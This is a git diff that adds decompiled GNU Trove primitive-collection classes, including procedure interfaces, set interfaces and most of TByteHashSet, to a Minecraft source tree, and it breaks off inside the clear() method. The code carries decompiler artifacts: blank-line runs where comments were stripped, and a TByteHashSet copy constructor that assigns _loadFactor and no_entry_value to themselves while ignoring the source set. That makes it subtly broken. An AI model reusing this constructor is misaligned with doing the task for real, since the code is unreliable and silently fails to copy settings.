diff --git a/src/minecraft/gnu/trove/procedure/TLongIntProcedure.java b/src/minecraft/gnu/trove/procedure/TLongIntProcedure.java
new file mode 100644
index 0000000..af1ae27
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TLongIntProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TLongIntProcedure
+{
+  public abstract boolean execute(long paramLong, int paramInt);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TLongLongProcedure.java b/src/minecraft/gnu/trove/procedure/TLongLongProcedure.java
new file mode 100644
index 0000000..d4ed9b0
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TLongLongProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TLongLongProcedure
+{
+  public abstract boolean execute(long paramLong1, long paramLong2);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TLongObjectProcedure.java b/src/minecraft/gnu/trove/procedure/TLongObjectProcedure.java
new file mode 100644
index 0000000..0fc2af9
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TLongObjectProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TLongObjectProcedure<T>
+{
+  public abstract boolean execute(long paramLong, T paramT);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TLongProcedure.java b/src/minecraft/gnu/trove/procedure/TLongProcedure.java
new file mode 100644
index 0000000..3bd6c9f
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TLongProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TLongProcedure
+{
+  public abstract boolean execute(long paramLong);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TLongShortProcedure.java b/src/minecraft/gnu/trove/procedure/TLongShortProcedure.java
new file mode 100644
index 0000000..bfaca6f
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TLongShortProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TLongShortProcedure
+{
+  public abstract boolean execute(long paramLong, short paramShort);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TObjectByteProcedure.java b/src/minecraft/gnu/trove/procedure/TObjectByteProcedure.java
new file mode 100644
index 0000000..3b0c30b
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TObjectByteProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TObjectByteProcedure<K>
+{
+  public abstract boolean execute(K paramK, byte paramByte);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TObjectCharProcedure.java b/src/minecraft/gnu/trove/procedure/TObjectCharProcedure.java
new file mode 100644
index 0000000..1a9232f
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TObjectCharProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TObjectCharProcedure<K>
+{
+  public abstract boolean execute(K paramK, char paramChar);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TObjectDoubleProcedure.java b/src/minecraft/gnu/trove/procedure/TObjectDoubleProcedure.java
new file mode 100644
index 0000000..b2704fc
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TObjectDoubleProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TObjectDoubleProcedure<K>
+{
+  public abstract boolean execute(K paramK, double paramDouble);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TObjectFloatProcedure.java b/src/minecraft/gnu/trove/procedure/TObjectFloatProcedure.java
new file mode 100644
index 0000000..2d063c4
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TObjectFloatProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TObjectFloatProcedure<K>
+{
+  public abstract boolean execute(K paramK, float paramFloat);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TObjectIntProcedure.java b/src/minecraft/gnu/trove/procedure/TObjectIntProcedure.java
new file mode 100644
index 0000000..ff8c2c9
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TObjectIntProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TObjectIntProcedure<K>
+{
+  public abstract boolean execute(K paramK, int paramInt);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TObjectLongProcedure.java b/src/minecraft/gnu/trove/procedure/TObjectLongProcedure.java
new file mode 100644
index 0000000..4173c84
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TObjectLongProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TObjectLongProcedure<K>
+{
+  public abstract boolean execute(K paramK, long paramLong);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TObjectObjectProcedure.java b/src/minecraft/gnu/trove/procedure/TObjectObjectProcedure.java
new file mode 100644
index 0000000..eb6cdfb
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TObjectObjectProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TObjectObjectProcedure<K, V>
+{
+  public abstract boolean execute(K paramK, V paramV);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TObjectProcedure.java b/src/minecraft/gnu/trove/procedure/TObjectProcedure.java
new file mode 100644
index 0000000..21ad302
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TObjectProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TObjectProcedure<T>
+{
+  public abstract boolean execute(T paramT);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TObjectShortProcedure.java b/src/minecraft/gnu/trove/procedure/TObjectShortProcedure.java
new file mode 100644
index 0000000..bde5e6b
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TObjectShortProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TObjectShortProcedure<K>
+{
+  public abstract boolean execute(K paramK, short paramShort);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TShortByteProcedure.java b/src/minecraft/gnu/trove/procedure/TShortByteProcedure.java
new file mode 100644
index 0000000..d140678
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TShortByteProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TShortByteProcedure
+{
+  public abstract boolean execute(short paramShort, byte paramByte);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TShortCharProcedure.java b/src/minecraft/gnu/trove/procedure/TShortCharProcedure.java
new file mode 100644
index 0000000..f5b51ae
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TShortCharProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TShortCharProcedure
+{
+  public abstract boolean execute(short paramShort, char paramChar);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TShortDoubleProcedure.java b/src/minecraft/gnu/trove/procedure/TShortDoubleProcedure.java
new file mode 100644
index 0000000..3f501a2
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TShortDoubleProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TShortDoubleProcedure
+{
+  public abstract boolean execute(short paramShort, double paramDouble);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TShortFloatProcedure.java b/src/minecraft/gnu/trove/procedure/TShortFloatProcedure.java
new file mode 100644
index 0000000..e0fa405
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TShortFloatProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TShortFloatProcedure
+{
+  public abstract boolean execute(short paramShort, float paramFloat);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TShortIntProcedure.java b/src/minecraft/gnu/trove/procedure/TShortIntProcedure.java
new file mode 100644
index 0000000..a9aba20
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TShortIntProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TShortIntProcedure
+{
+  public abstract boolean execute(short paramShort, int paramInt);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TShortLongProcedure.java b/src/minecraft/gnu/trove/procedure/TShortLongProcedure.java
new file mode 100644
index 0000000..af0991f
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TShortLongProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TShortLongProcedure
+{
+  public abstract boolean execute(short paramShort, long paramLong);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TShortObjectProcedure.java b/src/minecraft/gnu/trove/procedure/TShortObjectProcedure.java
new file mode 100644
index 0000000..d97f9a1
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TShortObjectProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TShortObjectProcedure<T>
+{
+  public abstract boolean execute(short paramShort, T paramT);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TShortProcedure.java b/src/minecraft/gnu/trove/procedure/TShortProcedure.java
new file mode 100644
index 0000000..96ea72e
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TShortProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TShortProcedure
+{
+  public abstract boolean execute(short paramShort);
+}
diff --git a/src/minecraft/gnu/trove/procedure/TShortShortProcedure.java b/src/minecraft/gnu/trove/procedure/TShortShortProcedure.java
new file mode 100644
index 0000000..e43446b
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/TShortShortProcedure.java
@@ -0,0 +1,6 @@
+package gnu.trove.procedure;
+
+public abstract interface TShortShortProcedure
+{
+  public abstract boolean execute(short paramShort1, short paramShort2);
+}
diff --git a/src/minecraft/gnu/trove/procedure/array/ToObjectArrayProceedure.java b/src/minecraft/gnu/trove/procedure/array/ToObjectArrayProceedure.java
new file mode 100644
index 0000000..61ecff6
--- /dev/null
+++ b/src/minecraft/gnu/trove/procedure/array/ToObjectArrayProceedure.java
@@ -0,0 +1,49 @@
+package gnu.trove.procedure.array;
+
+import gnu.trove.procedure.TObjectProcedure;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ToObjectArrayProceedure<T>
+  implements TObjectProcedure<T>
+{
+  private final T[] target;
+  private int pos = 0;
+  
+  public ToObjectArrayProceedure(T[] target)
+  {
+    this.target = target;
+  }
+  
+  public final boolean execute(T value)
+  {
+    target[(pos++)] = value;
+    return true;
+  }
+}
diff --git a/src/minecraft/gnu/trove/set/TByteSet.java b/src/minecraft/gnu/trove/set/TByteSet.java
new file mode 100644
index 0000000..a42b4e8
--- /dev/null
+++ b/src/minecraft/gnu/trove/set/TByteSet.java
@@ -0,0 +1,61 @@
+package gnu.trove.set;
+
+import gnu.trove.TByteCollection;
+import gnu.trove.iterator.TByteIterator;
+import gnu.trove.procedure.TByteProcedure;
+import java.io.Serializable;
+import java.util.Collection;
+
+public abstract interface TByteSet
+  extends TByteCollection, Serializable
+{
+  public abstract byte getNoEntryValue();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean contains(byte paramByte);
+  
+  public abstract TByteIterator iterator();
+  
+  public abstract byte[] toArray();
+  
+  public abstract byte[] toArray(byte[] paramArrayOfByte);
+  
+  public abstract boolean add(byte paramByte);
+  
+  public abstract boolean remove(byte paramByte);
+  
+  public abstract boolean containsAll(Collection<?> paramCollection);
+  
+  public abstract boolean containsAll(TByteCollection paramTByteCollection);
+  
+  public abstract boolean containsAll(byte[] paramArrayOfByte);
+  
+  public abstract boolean addAll(Collection<? extends Byte> paramCollection);
+  
+  public abstract boolean addAll(TByteCollection paramTByteCollection);
+  
+  public abstract boolean addAll(byte[] paramArrayOfByte);
+  
+  public abstract boolean retainAll(Collection<?> paramCollection);
+  
+  public abstract boolean retainAll(TByteCollection paramTByteCollection);
+  
+  public abstract boolean retainAll(byte[] paramArrayOfByte);
+  
+  public abstract boolean removeAll(Collection<?> paramCollection);
+  
+  public abstract boolean removeAll(TByteCollection paramTByteCollection);
+  
+  public abstract boolean removeAll(byte[] paramArrayOfByte);
+  
+  public abstract void clear();
+  
+  public abstract boolean forEach(TByteProcedure paramTByteProcedure);
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/gnu/trove/set/TCharSet.java b/src/minecraft/gnu/trove/set/TCharSet.java
new file mode 100644
index 0000000..03f5261
--- /dev/null
+++ b/src/minecraft/gnu/trove/set/TCharSet.java
@@ -0,0 +1,61 @@
+package gnu.trove.set;
+
+import gnu.trove.TCharCollection;
+import gnu.trove.iterator.TCharIterator;
+import gnu.trove.procedure.TCharProcedure;
+import java.io.Serializable;
+import java.util.Collection;
+
+public abstract interface TCharSet
+  extends TCharCollection, Serializable
+{
+  public abstract char getNoEntryValue();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean contains(char paramChar);
+  
+  public abstract TCharIterator iterator();
+  
+  public abstract char[] toArray();
+  
+  public abstract char[] toArray(char[] paramArrayOfChar);
+  
+  public abstract boolean add(char paramChar);
+  
+  public abstract boolean remove(char paramChar);
+  
+  public abstract boolean containsAll(Collection<?> paramCollection);
+  
+  public abstract boolean containsAll(TCharCollection paramTCharCollection);
+  
+  public abstract boolean containsAll(char[] paramArrayOfChar);
+  
+  public abstract boolean addAll(Collection<? extends Character> paramCollection);
+  
+  public abstract boolean addAll(TCharCollection paramTCharCollection);
+  
+  public abstract boolean addAll(char[] paramArrayOfChar);
+  
+  public abstract boolean retainAll(Collection<?> paramCollection);
+  
+  public abstract boolean retainAll(TCharCollection paramTCharCollection);
+  
+  public abstract boolean retainAll(char[] paramArrayOfChar);
+  
+  public abstract boolean removeAll(Collection<?> paramCollection);
+  
+  public abstract boolean removeAll(TCharCollection paramTCharCollection);
+  
+  public abstract boolean removeAll(char[] paramArrayOfChar);
+  
+  public abstract void clear();
+  
+  public abstract boolean forEach(TCharProcedure paramTCharProcedure);
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/gnu/trove/set/TDoubleSet.java b/src/minecraft/gnu/trove/set/TDoubleSet.java
new file mode 100644
index 0000000..6590dea
--- /dev/null
+++ b/src/minecraft/gnu/trove/set/TDoubleSet.java
@@ -0,0 +1,61 @@
+package gnu.trove.set;
+
+import gnu.trove.TDoubleCollection;
+import gnu.trove.iterator.TDoubleIterator;
+import gnu.trove.procedure.TDoubleProcedure;
+import java.io.Serializable;
+import java.util.Collection;
+
+public abstract interface TDoubleSet
+  extends TDoubleCollection, Serializable
+{
+  public abstract double getNoEntryValue();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean contains(double paramDouble);
+  
+  public abstract TDoubleIterator iterator();
+  
+  public abstract double[] toArray();
+  
+  public abstract double[] toArray(double[] paramArrayOfDouble);
+  
+  public abstract boolean add(double paramDouble);
+  
+  public abstract boolean remove(double paramDouble);
+  
+  public abstract boolean containsAll(Collection<?> paramCollection);
+  
+  public abstract boolean containsAll(TDoubleCollection paramTDoubleCollection);
+  
+  public abstract boolean containsAll(double[] paramArrayOfDouble);
+  
+  public abstract boolean addAll(Collection<? extends Double> paramCollection);
+  
+  public abstract boolean addAll(TDoubleCollection paramTDoubleCollection);
+  
+  public abstract boolean addAll(double[] paramArrayOfDouble);
+  
+  public abstract boolean retainAll(Collection<?> paramCollection);
+  
+  public abstract boolean retainAll(TDoubleCollection paramTDoubleCollection);
+  
+  public abstract boolean retainAll(double[] paramArrayOfDouble);
+  
+  public abstract boolean removeAll(Collection<?> paramCollection);
+  
+  public abstract boolean removeAll(TDoubleCollection paramTDoubleCollection);
+  
+  public abstract boolean removeAll(double[] paramArrayOfDouble);
+  
+  public abstract void clear();
+  
+  public abstract boolean forEach(TDoubleProcedure paramTDoubleProcedure);
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/gnu/trove/set/TFloatSet.java b/src/minecraft/gnu/trove/set/TFloatSet.java
new file mode 100644
index 0000000..01b9311
--- /dev/null
+++ b/src/minecraft/gnu/trove/set/TFloatSet.java
@@ -0,0 +1,61 @@
+package gnu.trove.set;
+
+import gnu.trove.TFloatCollection;
+import gnu.trove.iterator.TFloatIterator;
+import gnu.trove.procedure.TFloatProcedure;
+import java.io.Serializable;
+import java.util.Collection;
+
+public abstract interface TFloatSet
+  extends TFloatCollection, Serializable
+{
+  public abstract float getNoEntryValue();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean contains(float paramFloat);
+  
+  public abstract TFloatIterator iterator();
+  
+  public abstract float[] toArray();
+  
+  public abstract float[] toArray(float[] paramArrayOfFloat);
+  
+  public abstract boolean add(float paramFloat);
+  
+  public abstract boolean remove(float paramFloat);
+  
+  public abstract boolean containsAll(Collection<?> paramCollection);
+  
+  public abstract boolean containsAll(TFloatCollection paramTFloatCollection);
+  
+  public abstract boolean containsAll(float[] paramArrayOfFloat);
+  
+  public abstract boolean addAll(Collection<? extends Float> paramCollection);
+  
+  public abstract boolean addAll(TFloatCollection paramTFloatCollection);
+  
+  public abstract boolean addAll(float[] paramArrayOfFloat);
+  
+  public abstract boolean retainAll(Collection<?> paramCollection);
+  
+  public abstract boolean retainAll(TFloatCollection paramTFloatCollection);
+  
+  public abstract boolean retainAll(float[] paramArrayOfFloat);
+  
+  public abstract boolean removeAll(Collection<?> paramCollection);
+  
+  public abstract boolean removeAll(TFloatCollection paramTFloatCollection);
+  
+  public abstract boolean removeAll(float[] paramArrayOfFloat);
+  
+  public abstract void clear();
+  
+  public abstract boolean forEach(TFloatProcedure paramTFloatProcedure);
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/gnu/trove/set/TIntSet.java b/src/minecraft/gnu/trove/set/TIntSet.java
new file mode 100644
index 0000000..99acc9c
--- /dev/null
+++ b/src/minecraft/gnu/trove/set/TIntSet.java
@@ -0,0 +1,61 @@
+package gnu.trove.set;
+
+import gnu.trove.TIntCollection;
+import gnu.trove.iterator.TIntIterator;
+import gnu.trove.procedure.TIntProcedure;
+import java.io.Serializable;
+import java.util.Collection;
+
+public abstract interface TIntSet
+  extends TIntCollection, Serializable
+{
+  public abstract int getNoEntryValue();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean contains(int paramInt);
+  
+  public abstract TIntIterator iterator();
+  
+  public abstract int[] toArray();
+  
+  public abstract int[] toArray(int[] paramArrayOfInt);
+  
+  public abstract boolean add(int paramInt);
+  
+  public abstract boolean remove(int paramInt);
+  
+  public abstract boolean containsAll(Collection<?> paramCollection);
+  
+  public abstract boolean containsAll(TIntCollection paramTIntCollection);
+  
+  public abstract boolean containsAll(int[] paramArrayOfInt);
+  
+  public abstract boolean addAll(Collection<? extends Integer> paramCollection);
+  
+  public abstract boolean addAll(TIntCollection paramTIntCollection);
+  
+  public abstract boolean addAll(int[] paramArrayOfInt);
+  
+  public abstract boolean retainAll(Collection<?> paramCollection);
+  
+  public abstract boolean retainAll(TIntCollection paramTIntCollection);
+  
+  public abstract boolean retainAll(int[] paramArrayOfInt);
+  
+  public abstract boolean removeAll(Collection<?> paramCollection);
+  
+  public abstract boolean removeAll(TIntCollection paramTIntCollection);
+  
+  public abstract boolean removeAll(int[] paramArrayOfInt);
+  
+  public abstract void clear();
+  
+  public abstract boolean forEach(TIntProcedure paramTIntProcedure);
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/gnu/trove/set/TLongSet.java b/src/minecraft/gnu/trove/set/TLongSet.java
new file mode 100644
index 0000000..62aa0ec
--- /dev/null
+++ b/src/minecraft/gnu/trove/set/TLongSet.java
@@ -0,0 +1,61 @@
+package gnu.trove.set;
+
+import gnu.trove.TLongCollection;
+import gnu.trove.iterator.TLongIterator;
+import gnu.trove.procedure.TLongProcedure;
+import java.io.Serializable;
+import java.util.Collection;
+
+public abstract interface TLongSet
+  extends TLongCollection, Serializable
+{
+  public abstract long getNoEntryValue();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean contains(long paramLong);
+  
+  public abstract TLongIterator iterator();
+  
+  public abstract long[] toArray();
+  
+  public abstract long[] toArray(long[] paramArrayOfLong);
+  
+  public abstract boolean add(long paramLong);
+  
+  public abstract boolean remove(long paramLong);
+  
+  public abstract boolean containsAll(Collection<?> paramCollection);
+  
+  public abstract boolean containsAll(TLongCollection paramTLongCollection);
+  
+  public abstract boolean containsAll(long[] paramArrayOfLong);
+  
+  public abstract boolean addAll(Collection<? extends Long> paramCollection);
+  
+  public abstract boolean addAll(TLongCollection paramTLongCollection);
+  
+  public abstract boolean addAll(long[] paramArrayOfLong);
+  
+  public abstract boolean retainAll(Collection<?> paramCollection);
+  
+  public abstract boolean retainAll(TLongCollection paramTLongCollection);
+  
+  public abstract boolean retainAll(long[] paramArrayOfLong);
+  
+  public abstract boolean removeAll(Collection<?> paramCollection);
+  
+  public abstract boolean removeAll(TLongCollection paramTLongCollection);
+  
+  public abstract boolean removeAll(long[] paramArrayOfLong);
+  
+  public abstract void clear();
+  
+  public abstract boolean forEach(TLongProcedure paramTLongProcedure);
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/gnu/trove/set/TShortSet.java b/src/minecraft/gnu/trove/set/TShortSet.java
new file mode 100644
index 0000000..a46d959
--- /dev/null
+++ b/src/minecraft/gnu/trove/set/TShortSet.java
@@ -0,0 +1,61 @@
+package gnu.trove.set;
+
+import gnu.trove.TShortCollection;
+import gnu.trove.iterator.TShortIterator;
+import gnu.trove.procedure.TShortProcedure;
+import java.io.Serializable;
+import java.util.Collection;
+
+public abstract interface TShortSet
+  extends TShortCollection, Serializable
+{
+  public abstract short getNoEntryValue();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean contains(short paramShort);
+  
+  public abstract TShortIterator iterator();
+  
+  public abstract short[] toArray();
+  
+  public abstract short[] toArray(short[] paramArrayOfShort);
+  
+  public abstract boolean add(short paramShort);
+  
+  public abstract boolean remove(short paramShort);
+  
+  public abstract boolean containsAll(Collection<?> paramCollection);
+  
+  public abstract boolean containsAll(TShortCollection paramTShortCollection);
+  
+  public abstract boolean containsAll(short[] paramArrayOfShort);
+  
+  public abstract boolean addAll(Collection<? extends Short> paramCollection);
+  
+  public abstract boolean addAll(TShortCollection paramTShortCollection);
+  
+  public abstract boolean addAll(short[] paramArrayOfShort);
+  
+  public abstract boolean retainAll(Collection<?> paramCollection);
+  
+  public abstract boolean retainAll(TShortCollection paramTShortCollection);
+  
+  public abstract boolean retainAll(short[] paramArrayOfShort);
+  
+  public abstract boolean removeAll(Collection<?> paramCollection);
+  
+  public abstract boolean removeAll(TShortCollection paramTShortCollection);
+  
+  public abstract boolean removeAll(short[] paramArrayOfShort);
+  
+  public abstract void clear();
+  
+  public abstract boolean forEach(TShortProcedure paramTShortProcedure);
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/gnu/trove/set/hash/TByteHashSet.java b/src/minecraft/gnu/trove/set/hash/TByteHashSet.java
new file mode 100644
index 0000000..73f8e02
--- /dev/null
+++ b/src/minecraft/gnu/trove/set/hash/TByteHashSet.java
@@ -0,0 +1,550 @@
+package gnu.trove.set.hash;
+
+import gnu.trove.TByteCollection;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TByteHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.iterator.TByteIterator;
+import gnu.trove.set.TByteSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TByteHashSet
+  extends TByteHash
+  implements TByteSet, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  
+  public TByteHashSet() {}
+  
+  public TByteHashSet(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TByteHashSet(int initialCapacity, float load_factor)
+  {
+    super(initialCapacity, load_factor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TByteHashSet(int initial_capacity, float load_factor, byte no_entry_value)
+  {
+    super(initial_capacity, load_factor, no_entry_value);
+    
+    if (no_entry_value != 0) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+  public TByteHashSet(Collection<? extends Byte> collection)
+  {
+    this(Math.max(collection.size(), 10));
+    addAll(collection);
+  }
+  
+
+
+
+
+
+
+  public TByteHashSet(TByteCollection collection)
+  {
+    this(Math.max(collection.size(), 10));
+    if ((collection instanceof TByteHashSet)) {
+      TByteHashSet hashset = (TByteHashSet)collection;
+      _loadFactor = _loadFactor;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_set, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    addAll(collection);
+  }
+  
+
+
+
+
+
+
+  public TByteHashSet(byte[] array)
+  {
+    this(Math.max(array.length, 10));
+    addAll(array);
+  }
+  
+
+  public TByteIterator iterator()
+  {
+    return new TByteHashIterator(this);
+  }
+  
+
+  public byte[] toArray()
+  {
+    byte[] result = new byte[size()];
+    byte[] set = _set;
+    byte[] states = _states;
+    
+    int i = states.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        result[(j++)] = set[i];
+      }
+    }
+    return result;
+  }
+  
+
+  public byte[] toArray(byte[] dest)
+  {
+    byte[] set = _set;
+    byte[] states = _states;
+    
+    int i = states.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        dest[(j++)] = set[i];
+      }
+    }
+    
+    if (dest.length > _size) {
+      dest[_size] = no_entry_value;
+    }
+    return dest;
+  }
+  
+
+  public boolean add(byte val)
+  {
+    int index = insertionIndex(val);
+    
+    if (index < 0) {
+      return false;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = val;
+    _states[index] = 1;
+    postInsertHook(previousState == 0);
+    
+    return true;
+  }
+  
+
+  public boolean remove(byte val)
+  {
+    int index = index(val);
+    if (index >= 0) {
+      removeAt(index);
+      return true;
+    }
+    return false;
+  }
+  
+
+  public boolean containsAll(Collection<?> collection)
+  {
+    for (Object element : collection) {
+      if ((element instanceof Byte)) {
+        byte c = ((Byte)element).byteValue();
+        if (!contains(c)) {
+          return false;
+        }
+      } else {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+  public boolean containsAll(TByteCollection collection)
+  {
+    TByteIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      byte element = iter.next();
+      if (!contains(element)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean containsAll(byte[] array)
+  {
+    for (int i = array.length; i-- > 0;) {
+      if (!contains(array[i])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean addAll(Collection<? extends Byte> collection)
+  {
+    boolean changed = false;
+    for (Byte element : collection) {
+      byte e = element.byteValue();
+      if (add(e)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean addAll(TByteCollection collection)
+  {
+    boolean changed = false;
+    TByteIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      byte element = iter.next();
+      if (add(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean addAll(byte[] array)
+  {
+    boolean changed = false;
+    for (int i = array.length; i-- > 0;) {
+      if (add(array[i])) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+
+  public boolean retainAll(Collection<?> collection)
+  {
+    boolean modified = false;
+    TByteIterator iter = iterator();
+    while (iter.hasNext()) {
+      if (!collection.contains(Byte.valueOf(iter.next()))) {
+        iter.remove();
+        modified = true;
+      }
+    }
+    return modified;
+  }
+  
+
+  public boolean retainAll(TByteCollection collection)
+  {
+    if (this == collection) {
+      return false;
+    }
+    boolean modified = false;
+    TByteIterator iter = iterator();
+    while (iter.hasNext()) {
+      if (!collection.contains(iter.next())) {
+        iter.remove();
+        modified = true;
+      }
+    }
+    return modified;
+  }
+  
+
+  public boolean retainAll(byte[] array)
+  {
+    boolean changed = false;
+    Arrays.sort(array);
+    byte[] set = _set;
+    byte[] states = _states;
+    
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+        removeAt(i);
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(Collection<?> collection)
+  {
+    boolean changed = false;
+    for (Object element : collection) {
+      if ((element instanceof Byte)) {
+        byte c = ((Byte)element).byteValue();
+        if (remove(c)) {
+          changed = true;
+        }
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(TByteCollection collection)
+  {
+    boolean changed = false;
+    TByteIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      byte element = iter.next();
+      if (remove(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(byte[] array)
+  {
+    boolean changed = false;
+    for (int i = array.length; i-- > 0;) {
+      if (remove(array[i])) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    byte[] set = _set;
+    byte[] states = _states;
+    
